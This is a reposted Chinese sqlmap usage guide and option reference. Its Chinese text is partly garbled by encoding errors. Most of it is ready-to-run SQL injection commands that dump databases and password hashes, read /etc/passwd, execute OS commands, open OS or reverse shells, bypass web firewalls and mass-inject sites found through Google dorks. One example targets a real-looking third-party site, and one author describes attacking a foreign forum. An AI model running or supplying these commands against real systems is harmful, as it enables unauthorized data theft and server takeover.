sqlmap簡(jiǎn)單中文說(shuō)明
首先下載需要的文件,如果是windows環(huán)境直接到http://www.dbjr.com.cn/softs/63591.html下載安裝所需要的文件即可。
這個(gè)東西,是mickey整理的,不多說(shuō)了,尊重一下原作者,轉(zhuǎn)載注明mickey整理就好了
更新
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 1 –sql-shell //執(zhí)行SQL語(yǔ)句
sqlmap.py -u “http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1″ -v 5 //更詳細(xì)的信息
load options from a configuration INI file
sqlmap -c sqlmap.conf
使用POST方法提交
sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/post_int.php” –method POST –data “id=1″
使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData來(lái)抓cookies
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/cookie_int.php” –cookie “id=1″ -v 1
使用referer欺騙
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –referer “http://www.google.com” -v 3
使用自定義user-agent,或者使用隨機(jī)使用自帶的user-agents.txt
python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –user-agent “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)” -v 3
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 1 -a “./txt/user-agents.txt”
使用基本認(rèn)證
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1″ –auth-type Basic –auth-cred “testuser:testpass” -v 3
使用Digest認(rèn)證
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1″ –auth-type Digest –auth-cred “testuser:testpass” -v 3
使用代理,配合TOR
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –proxy “http://192.168.1.47:3128″
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –proxy “http://192.168.1.47:8118″
使用多線程猜解
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 1 –current-user –threads 3
繞過(guò)動(dòng)態(tài)檢測(cè),直接指定有注入點(diǎn)的參數(shù),可以使用,分割多個(gè)參數(shù),指定user-agent注入
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 1 -p “id
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2″ -v 1 -p “cat,id”
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/ua_str.php” -v 1 -p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)”
指定數(shù)據(jù)庫(kù),繞過(guò)SQLMAP的自動(dòng)檢測(cè)
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 2 –dbms “PostgreSQL”
* MySQL
* Oracle
* PostgreSQL
* Microsoft SQL Server
指定操作系統(tǒng),繞過(guò)SQLMAP自動(dòng)檢測(cè)
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -v 2 –os “Windows”
* Linux
* Windows
自定義payload
Options: –prefix and –postfix
In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.
Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = “SELECT * FROM users WHERE id=(‘” . $_GET['id'] . “‘) LIMIT 0, 1″;:
$ python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1″ -v 3 -p “id” –prefix “‘” –postfix “AND ‘test’='test”
[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter ‘id’ with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter ‘id’
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter ‘id’ is custom injectable
[...]
As you can see, the injection payload for testing for custom injection is:
id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
which URL decoded is:
id=1′) AND 7433=7433 AND (‘test’='test
and makes the query syntatically correct to the page query:
SELECT * FROM users WHERE id=(’1′) AND 7433=7433 AND (‘test’='test’) LIMIT 0, 1
In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.
頁(yè)面比較
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –string “luther” -v 1
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –regexp “<td>lu[\w][\w]er” -v
排除網(wǎng)站的內(nèi)容
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1″ –excl-reg “Dynamic content: ([\d]+)”
多語(yǔ)句測(cè)試,php內(nèi)嵌函數(shù)mysql_query(),不支持多語(yǔ)句
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –stacked-test -v 1
union注入測(cè)試
python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –union-test -v 1
unionz注入配合orderby
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1″ –union-test –union-tech orderby -v 1
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ -v 1 –union-use –banner
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ -v 5 –union-use –current-user
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1″ -v 1 –union-use –dbs
fingerprint
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ -v 1 -f
python sqlmap.py -u “http://192.168.123.36/sqlmap/get_str.asp?name=luther” -v 1 -f -b
判斷當(dāng)前用戶(hù)是否是dba
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –is-dba -v 1
列舉數(shù)據(jù)庫(kù)用戶(hù)
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –users -v 0
列舉數(shù)據(jù)庫(kù)用戶(hù)密碼
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –passwords -v 0
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –passwords -U sa -v 0
查看用戶(hù)權(quán)限
python sqlmap.py -u “http://192.168.1.121/sqlmap/oracle/get_int.php?id=1″ –privileges -v 0
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –privileges -U postgres -v 0
列數(shù)據(jù)庫(kù)
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dbs -v 0
列出指定數(shù)據(jù)庫(kù)指定表的列名
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –columns -T users -D test -v 1
列出指定數(shù)據(jù)庫(kù)的指定表的指定列的內(nèi)容
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dump -T users -D master -C surname -v 0
指定列的范圍從2-4
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –dump -T users -D test –start 2 –stop 4 -v 0
導(dǎo)出所有數(shù)據(jù)庫(kù),所有表的內(nèi)容
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –dump-all -v 0
只列出用戶(hù)自己新建的數(shù)據(jù)庫(kù)和表的內(nèi)容
python sqlmap.py -u “http://192.168.1.121/sqlmap/mssql/get_int.php?id=1″ –dump-all –exclude-sysdbs -v 0
sql query
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ –sql-query “SELECT usename FROM pg_user” -v 0
python sqlmap.py -u “http://192.168.1.121/sqlmap/mysql/get_int.php?id=1″ –sql-query “SELECT host, password FROM mysql.user LIMIT 1, 3″ -v 1
SELECT usename, passwd FROM pg_shadow ORDER BY usename
保存和恢復(fù)會(huì)話
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -b -v 1 -s “sqlmap.log”
保存選項(xiàng)到INC配置文件
python sqlmap.py -u “http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1″ -b -v 1 –save
sqlmap注入使用方法
今天搞國(guó)外的一個(gè)論壇。發(fā)現(xiàn)蘿卜和穿山甲都無(wú)法正常注入,實(shí)在沒(méi)辦法了 還是臨時(shí)學(xué)習(xí)了下國(guó)外的神器sqlmap的使用方法,,直接做個(gè)記錄、、
sqlmap -u “http://url/news?id=1″ –current-user #獲取當(dāng)前用戶(hù)名稱(chēng) sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #獲取當(dāng)前數(shù) 據(jù)庫(kù)名稱(chēng)
sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name” #列 表名
sqlmap -u “http://url/news?id=1″ –columns -T “tablename” users-D “db_name” -v 0 #列字段
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name” -D “db_name” -v
0 #獲取字段內(nèi)容
******************信息獲取******************
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定數(shù) 據(jù)庫(kù)類(lèi)型
sqlmap -u “http://url/news?id=1″ –users #列數(shù)據(jù)庫(kù)用戶(hù)
sqlmap -u “http://url/news?id=1″ –dbs#列數(shù)據(jù)庫(kù)
sqlmap -u “http://url/news?id=1″ –passwords #數(shù)據(jù)庫(kù)用戶(hù)密碼
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用戶(hù) 數(shù)據(jù)庫(kù)密碼
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename” -D “db_name”
–start 1 –stop 20 #列出指定字段,列出20 條
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有數(shù)據(jù)庫(kù)所有表
sqlmap -u “http://url/news?id=1″ –privileges #查看權(quán)限
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用戶(hù)權(quán)限 sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是數(shù)據(jù)庫(kù)管理員 sqlmap -u “http://url/news?id=1″ –roles #枚舉數(shù)據(jù)庫(kù)用戶(hù)角色
sqlmap -u “http://url/news?id=1″ –udf-inject #導(dǎo)入用戶(hù)自定義函數(shù)(獲取 系統(tǒng)權(quán)限?。?
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出當(dāng)前庫(kù)所有表
sqlmap -u “http://url/news?id=1″ –union-cols #union 查詢(xún)表記錄
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE” #cookie注入
sqlmap -u “http://url/news?id=1″ -b #獲取banner信息
sqlmap -u “http://url/news?id=1″ –data “id=3″ #post注入
sqlmap -u “http://url/news?id=1″ -v 1 -f #指紋判別數(shù)據(jù)庫(kù)類(lèi)型
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE” # 指 定關(guān)鍵詞
sqlmap -u “http://url/news?id=1″ –sql-shell #執(zhí)行指定sql命令
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #執(zhí)行系統(tǒng)命令
sqlmap -u “http://url/news?id=1″ –os-shell #系統(tǒng)交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反彈shell
sqlmap -u “http://url/news?id=1″ –reg-read #讀取win系統(tǒng)注冊(cè)表
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log” #保存進(jìn)度
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢復(fù) 已保存進(jìn)度
***********高級(jí)用法*************
-p name 多個(gè)參數(shù)如index.php?n_id=1&name=2&data=2020 我們想指定name參數(shù)進(jìn)行注入
sqlmap -g “google語(yǔ)法” –dump-all –batch #google搜索注入點(diǎn)自動(dòng) 跑出 所有字段 需保證google.com能正常訪問(wèn)
–technique 測(cè)試指定注入類(lèi)型\使用的技術(shù)
不加參數(shù)默認(rèn)測(cè)試所有注入技術(shù)
• B: 基于布爾的 SQL 盲注
• E: 基于顯錯(cuò) sql 注入
• U: 基于 UNION 注入
• S: 疊層 sql 注入
• T: 基于時(shí)間盲注
–tamper 通過(guò)編碼繞過(guò) WEB 防火墻(WAF) Sqlmap 默認(rèn)用 char()
–tamper 插件所在目錄
\sqlmap-dev\tamper
sqlmap -u “http://url/news?id=1″ –smart –level 3 –users # smart 智 能
level 執(zhí)行測(cè)試等級(jí) 攻擊實(shí)例:
Sqlmap -u “http://url/news?id=1&Submit=Submit”
–cookie=”PHPSESSID=41aa833e6d0d
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
–password
參考文檔:http://sqlmap.sourceforge.net/doc/README.html
***********安裝最新版本*************
ubuntu 通過(guò) apt-get install 安裝的sqlmap版本為 0.6 我們通過(guò)svn 來(lái)安裝 為 最新 1.0版
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安裝的位置為:/home/當(dāng)前用戶(hù)/sqlmap-dev/sqlmap.py 直接執(zhí)行 /home/當(dāng)前用戶(hù)/sqlmap-dev/sqlmap.py –version 這樣很不方便 我們可以設(shè)置 .bashrc 文件
sudo vim /home/當(dāng)前用戶(hù)/.bashrc
#任意位置加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 該環(huán)境變量只對(duì)當(dāng)前用戶(hù)有效
如果想對(duì)所有用戶(hù)有效 可設(shè)置全局 編輯下面的文件
vim /etc/profile
同樣加上:
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重啟生效
******************windows 7 (x64) sqlmap install (SVN)************
http://www.python.org/getit/ 安裝python
http://www.sliksvn.com/en/download 安裝windows svn client
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
安裝sqlmap
*修改環(huán)境變量
–version 顯示程序的版本號(hào)并退出
-h, –help 顯示此幫助消息并退出
-v VERBOSE 詳細(xì)級(jí)別:0-6(默認(rèn)為 1)
Target(目標(biāo)): 以下至少需要設(shè)置其中一個(gè)選項(xiàng),設(shè)置目標(biāo) URL。
-d DIRECT 直接連接到數(shù)據(jù)庫(kù)。
-u URL, –url=URL 目標(biāo) URL。
-l LIST 從 Burp 或 WebScarab 代理的日志中解析目標(biāo)。
-r REQUESTFILE 從一個(gè)文件中載入 HTTP 請(qǐng)求。
-g GOOGLEDORK 處理 Google dork 的結(jié)果作為目標(biāo) URL。
-c CONFIGFILE 從 INI 配置文件中加載選項(xiàng)。
Request(請(qǐng)求)::
這些選項(xiàng)可以用來(lái)指定如何連接到目標(biāo) URL。
–data=DATA 通過(guò) POST 發(fā)送的數(shù)據(jù)字符串
–cookie=COOKIE HTTP Cookie 頭
–cookie-urlencode URL 編碼生成的 cookie 注入
–drop-set-cookie 忽略響應(yīng)的 Set – Cookie 頭信息
–user-agent=AGENT 指定 HTTP User – Agent 頭
–random-agent 使用隨機(jī)選定的 HTTP User – Agent 頭
–referer=REFERER 指定 HTTP Referer 頭
–headers=HEADERS 換行分開(kāi),加入其他的 HTTP 頭
–auth-type=ATYPE HTTP 身份驗(yàn)證類(lèi)型(基本,摘要或 NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP 身份驗(yàn)證憑據(jù)(用戶(hù)名:密碼)
–auth-cert=ACERT HTTP 認(rèn)證證書(shū)(key_file,cert_file)
–proxy=PROXY 使用 HTTP 代理連接到目標(biāo) URL
–proxy-cred=PCRED HTTP 代理身份驗(yàn)證憑據(jù)(用戶(hù)名:密碼)
–ignore-proxy 忽略系統(tǒng)默認(rèn)的 HTTP 代理
–delay=DELAY 在每個(gè) HTTP 請(qǐng)求之間的延遲時(shí)間,單位為秒
–timeout=TIMEOUT 等待連接超時(shí)的時(shí)間(默認(rèn)為 30 秒)
–retries=RETRIES 連接超時(shí)后重新連接的時(shí)間(默認(rèn) 3)
–scope=SCOPE 從所提供的代理日志中過(guò)濾器目標(biāo)的正則表達(dá)式
–safe-url=SAFURL 在測(cè)試過(guò)程中經(jīng)常訪問(wèn)的 url 地址
–safe-freq=SAFREQ 兩次訪問(wèn)之間測(cè)試請(qǐng)求,給出安全的 URL
Optimization(優(yōu)化): 這些選項(xiàng)可用于優(yōu)化 SqlMap 的性能。
-o 開(kāi)啟所有優(yōu)化開(kāi)關(guān)
–predict-output 預(yù)測(cè)常見(jiàn)的查詢(xún)輸出
–keep-alive 使用持久的 HTTP(S)連接
–null-connection 從沒(méi)有實(shí)際的 HTTP 響應(yīng)體中檢索頁(yè)面長(zhǎng)度
–threads=THREADS 最大的 HTTP(S)請(qǐng)求并發(fā)量(默認(rèn)為 1)
Injection(注入):
這些選項(xiàng)可以用來(lái)指定測(cè)試哪些參數(shù), 提供自定義的注入 payloads 和可選篡改腳本。
-p TESTPARAMETER 可測(cè)試的參數(shù)(S)
–dbms=DBMS 強(qiáng)制后端的 DBMS 為此值
–os=OS 強(qiáng)制后端的 DBMS 操作系統(tǒng)為這個(gè)值
–prefix=PREFIX 注入 payload 字符串前綴
–suffix=SUFFIX 注入 payload 字符串后綴
–tamper=TAMPER 使用給定的腳本(S)篡改注入數(shù)據(jù)
Detection(檢測(cè)):
這些選項(xiàng)可以用來(lái)指定在 SQL 盲注時(shí)如何解析和比較 HTTP 響應(yīng)頁(yè)面的內(nèi)容。
–level=LEVEL 執(zhí)行測(cè)試的等級(jí)(1-5,默認(rèn)為 1)
–risk=RISK 執(zhí)行測(cè)試的風(fēng)險(xiǎn)(0-3,默認(rèn)為 1)
–string=STRING 查詢(xún)時(shí)有效時(shí)在頁(yè)面匹配字符串
–regexp=REGEXP 查詢(xún)時(shí)有效時(shí)在頁(yè)面匹配正則表達(dá)式
–text-only 僅基于在文本內(nèi)容比較網(wǎng)頁(yè)
Techniques(技巧): 這些選項(xiàng)可用于調(diào)整具體的 SQL 注入測(cè)試。
–technique=TECH SQL 注入技術(shù)測(cè)試(默認(rèn) BEUST)
–time-sec=TIMESEC DBMS 響應(yīng)的延遲時(shí)間(默認(rèn)為 5 秒)
–union-cols=UCOLS 定列范圍用于測(cè)試 UNION 查詢(xún)注入
–union-char=UCHAR 用于暴力猜解列數(shù)的字符
Fingerprint(指紋):
-f, –fingerprint 執(zhí)行檢查廣泛的 DBMS 版本指紋
Enumeration(枚舉):
這些選項(xiàng)可以用來(lái)列舉后端數(shù)據(jù)庫(kù)管理系統(tǒng)的信息、表中的結(jié)構(gòu)和數(shù)據(jù)。此外,您還可以運(yùn)行您自己 的 SQL 語(yǔ)句。
-b, –banner 檢索數(shù)據(jù)庫(kù)管理系統(tǒng)的標(biāo)識(shí)
–current-user 檢索數(shù)據(jù)庫(kù)管理系統(tǒng)當(dāng)前用戶(hù)
–current-db 檢索數(shù)據(jù)庫(kù)管理系統(tǒng)當(dāng)前數(shù)據(jù)庫(kù)
–is-dba 檢測(cè) DBMS 當(dāng)前用戶(hù)是否 DBA
–users 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)用戶(hù)
–passwords 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)用戶(hù)密碼哈希
–privileges 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)用戶(hù)的權(quán)限
–roles 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)用戶(hù)的角色
–dbs 枚舉數(shù)據(jù)庫(kù)管理系統(tǒng)數(shù)據(jù)庫(kù)
–tables 枚舉的 DBMS 數(shù)據(jù)庫(kù)中的表
–columns 枚舉 DBMS 數(shù)據(jù)庫(kù)表列
–dump 轉(zhuǎn)儲(chǔ)數(shù)據(jù)庫(kù)管理系統(tǒng)的數(shù)據(jù)庫(kù)中的表項(xiàng)
–dump-all 轉(zhuǎn)儲(chǔ)所有的 DBMS 數(shù)據(jù)庫(kù)表中的條目
–search 搜索列(S),表(S)和/或數(shù)據(jù)庫(kù)名稱(chēng)(S)
-D DB 要進(jìn)行枚舉的數(shù)據(jù)庫(kù)名
-T TBL 要進(jìn)行枚舉的數(shù)據(jù)庫(kù)表
-C COL 要進(jìn)行枚舉的數(shù)據(jù)庫(kù)列
-U USER 用來(lái)進(jìn)行枚舉的數(shù)據(jù)庫(kù)用戶(hù)
–exclude-sysdbs 枚舉表時(shí)排除系統(tǒng)數(shù)據(jù)庫(kù)
–start=LIMITSTART 第一個(gè)查詢(xún)輸出進(jìn)入檢索
–stop=LIMITSTOP 最后查詢(xún)的輸出進(jìn)入檢索
–first=FIRSTCHAR 第一個(gè)查詢(xún)輸出字的字符檢索
–last=LASTCHAR 最后查詢(xún)的輸出字字符檢索
–sql-query=QUERY 要執(zhí)行的 SQL 語(yǔ)句
–sql-shell 提示交互式 SQL 的 shell
Brute force(蠻力): 這些選項(xiàng)可以被用來(lái)運(yùn)行蠻力檢查。
–common-tables 檢查存在共同表
–common-columns 檢查存在共同列
User-defined function injection(用戶(hù)自定義函數(shù)注入): 這些選項(xiàng)可以用來(lái)創(chuàng)建用戶(hù)自定義函數(shù)。
–udf-inject 注入用戶(hù)自定義函數(shù)
–shared-lib=SHLIB 共享庫(kù)的本地路徑
File system access(訪問(wèn)文件系統(tǒng)): 這些選項(xiàng)可以被用來(lái)訪問(wèn)后端數(shù)據(jù)庫(kù)管理系統(tǒng)的底層文件系統(tǒng)。
–file-read=RFILE 從后端的數(shù)據(jù)庫(kù)管理系統(tǒng)文件系統(tǒng)讀取文件
–file-write=WFILE 編輯后端的數(shù)據(jù)庫(kù)管理系統(tǒng)文件系統(tǒng)上的本地文件
–file-dest=DFILE 后端的數(shù)據(jù)庫(kù)管理系統(tǒng)寫(xiě)入文件的絕對(duì)路徑
Operating system access(操作系統(tǒng)訪問(wèn)): 這些選項(xiàng)可以用于訪問(wèn)后端數(shù)據(jù)庫(kù)管理系統(tǒng)的底層操作系統(tǒng)。
–os-cmd=OSCMD 執(zhí)行操作系統(tǒng)命令
–os-shell 交互式的操作系統(tǒng)的 shell
–os-pwn 獲取一個(gè) OOB shell,meterpreter 或 VNC
–os-smbrelay 一鍵獲取一個(gè) OOB shell,meterpreter 或 VNC
–os-bof 存儲(chǔ)過(guò)程緩沖區(qū)溢出利用
–priv-esc 數(shù)據(jù)庫(kù)進(jìn)程用戶(hù)權(quán)限提升
–msf-path=MSFPATH Metasploit Framework 本地的安裝路徑
–tmp-path=TMPPATH 遠(yuǎn)程臨時(shí)文件目錄的絕對(duì)路徑
Windows 注冊(cè)表訪問(wèn): 這些選項(xiàng)可以被用來(lái)訪問(wèn)后端數(shù)據(jù)庫(kù)管理系統(tǒng) Windows 注冊(cè)表。
–reg-read 讀一個(gè) Windows 注冊(cè)表項(xiàng)值
–reg-add 寫(xiě)一個(gè) Windows 注冊(cè)表項(xiàng)值數(shù)據(jù)
–reg-del 刪除 Windows 注冊(cè)表鍵值
–reg-key=REGKEY Windows 注冊(cè)表鍵
–reg-value=REGVAL Windows 注冊(cè)表項(xiàng)值
–reg-data=REGDATA Windows 注冊(cè)表鍵值數(shù)據(jù)
–reg-type=REGTYPE Windows 注冊(cè)表項(xiàng)值類(lèi)型
General(一般): 這些選項(xiàng)可以用來(lái)設(shè)置一些一般的工作參數(shù)。
-t TRAFFICFILE 記錄所有 HTTP 流量到一個(gè)文本文件中
-s SESSIONFILE 保存和恢復(fù)檢索會(huì)話文件的所有數(shù)據(jù)
–flush-session 刷新當(dāng)前目標(biāo)的會(huì)話文件
–fresh-queries 忽略在會(huì)話文件中存儲(chǔ)的查詢(xún)結(jié)果
–eta 顯示每個(gè)輸出的預(yù)計(jì)到達(dá)時(shí)間
–update 更新 SqlMap
–save file 保存選項(xiàng)到 INI 配置文件
–batch 從不詢(xún)問(wèn)用戶(hù)輸入,使用所有默認(rèn)配置。
Miscellaneous(雜項(xiàng)):
–beep 發(fā)現(xiàn) SQL 注入時(shí)提醒
–check-payload IDS 對(duì)注入 payloads 的檢測(cè)測(cè)試
–cleanup SqlMap 具體的 UDF 和表清理 DBMS
–forms 對(duì)目標(biāo) URL 的解析和測(cè)試形式
–gpage=GOOGLEPAGE 從指定的頁(yè)碼使用谷歌 dork 結(jié)果
–page-rank Google dork 結(jié)果顯示網(wǎng)頁(yè)排名(PR)
–parse-errors 從響應(yīng)頁(yè)面解析數(shù)據(jù)庫(kù)管理系統(tǒng)的錯(cuò)誤消息
–replicate 復(fù)制轉(zhuǎn)儲(chǔ)的數(shù)據(jù)到一個(gè) sqlite3 數(shù)據(jù)庫(kù)
–tor 使用默認(rèn)的 Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 給初級(jí)用戶(hù)的簡(jiǎn)單向?qū)Ы缑?
SQLMAP的部分用法
內(nèi)容摘自網(wǎng)絡(luò),整理:mer4en7y
1)判斷當(dāng)前用戶(hù)是否是dba
python sqlmap.py -u "url" --is-dba -v 1
2)--users:列出數(shù)據(jù)庫(kù)管理系統(tǒng)用戶(hù)
python sqlmap.py -u "url" --users -v 0
3)--passwords:數(shù)據(jù)庫(kù)用戶(hù)密碼(hash)
python sqlmap.py -u "url" --passwords -v 0
python sqlmap.py -u "url" --passwords -U sa -v 0
4)查看用戶(hù)權(quán)限
python sqlmap.py -u "url" --privileges -v 0
python sqlmap.py -u "url" --privileges -U postgres -v 0
5)--dbs可以利用的數(shù)據(jù)庫(kù)
python sqlmap.py -u "url" --dbs -v 0
6)--tables列數(shù)據(jù)庫(kù)表
python sqlmap.py -u "url" --tables -D "information_scheam"
-D:指定數(shù)據(jù)名稱(chēng)
7)--columns 列出表中的列名
python sqlmap.py -u "url" --columns -T "user" -D "mysql" -v 1
-T:指定表名,-D:指定庫(kù)名
8)--dump列表中指定列的內(nèi)容
python sqlmap.py -u "url" --dump -T "users" -D "testdb"
-C:可以指定字段
指定列的范圍為2到4
python sqlmap.py -u "url" --dump -T "users" -D "testdb" --start 2 --stop 4 -v 0
9)--dumap-all列出所有數(shù)據(jù)庫(kù),所有表內(nèi)容
python sqlmap.py -u "url" --dump-all -v 0
只列出用戶(hù)自己新建的數(shù)據(jù)庫(kù)和表的內(nèi)容
python sqlmap.py -u "url" --dump-all --exclude-sysdbs -v 0
10)--file讀取文件內(nèi)容[load_file()函數(shù)]
python sqlmap.py -u "url" --file /etc/password
11)執(zhí)行SQL
python sqlmap.py -u "url" --sql-shell
12)-p 指定參數(shù)
python sqlmap.py -u "url" -v 1 -p "id"
-p可以指定多參數(shù)-p "cat,id"
13)POST提交
python sqlmap.py -u "url" --method POST --data "id=1"
14)COOKIE提交
python sqlmap.py -u "url" --cookie "id=1" -v 1
cookie值可以由TamperData抓取
15)refer欺騙
python sqlmap.py -u "url" --refer "url" -v 3
16)使用自定義user-agent或者user-agents.txt
python sqlmap.py -u "url" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
python sqlmap.py -u "url" -v 1 -a "./txt/user-agents.txt"
17)使用多線程猜解
python sqlmap.py -u "url" -v 1 --current-user --threads 3
18)指定數(shù)據(jù)庫(kù),繞過(guò)SQLMAP的自動(dòng)檢測(cè)
python sqlmap.py -u "url" -v 2 --dbms "PostgreSQL"
19)指定操作系統(tǒng)繞過(guò)SQLMAP自動(dòng)檢測(cè)
python sqlmap.py -u "url" -v 2 --os "Windows"
20)--prefix and --postfix自定義payload
python sqlmap.py -u "url" -v 3 -p "id" --prefix "'" --postfix "and 'test'='test"
21)union注入測(cè)試
python sqlmap.py -u "url" --union-test -v -1
22)配合order by
python sqlmap.py -u "url" --union-test --union-tech orderby -v 1
23)python sqlmap.py -u "url" -v 1 --union-use --banner
24)python sqlmap.py -u "url" -v 5 --union-use --current-user
25)python sqlmap.py -u "url" -v 1 --union-use --dbs
相關(guān)文章
SQL注入之SQLmap入門(mén) (注入檢測(cè)工具)
SQLmap是一款用來(lái)檢測(cè)與利用SQL注入漏洞的免費(fèi)開(kāi)源工具,有一個(gè)非常棒的特性,即對(duì)檢測(cè)與利用的自動(dòng)化處理(數(shù)據(jù)庫(kù)指紋、訪問(wèn)底層文件系統(tǒng)、執(zhí)行命令)2015-09-30SQLMAP Win 下Python環(huán)境運(yùn)行不正常解決方法(已測(cè))
這篇文章主要介紹了SQLMAP Win 下Python環(huán)境運(yùn)行不正常解決方法(已測(cè)),需要的朋友可以參考下2015-09-04- 上一篇文章《sqlmap用戶(hù)手冊(cè)》其實(shí)只寫(xiě)了大部分可能用到的參數(shù),還有些并未寫(xiě),這次補(bǔ)上~2014-07-29
- sqlmap 是一個(gè)自動(dòng)SQL 射入工具。文章內(nèi)容有點(diǎn)長(zhǎng),但都是精華,讀者們耐心的看吧,續(xù)篇的鏈接在文末。2014-07-29
- sqlmap 是一個(gè)自動(dòng)SQL 射入工具。本文收集了一些利用Sqlmap做注入測(cè)試的TIPS,其中也包含一點(diǎn)繞WAF的技巧,便于大家集中查閱,歡迎接樓補(bǔ)充、分享。2014-07-29
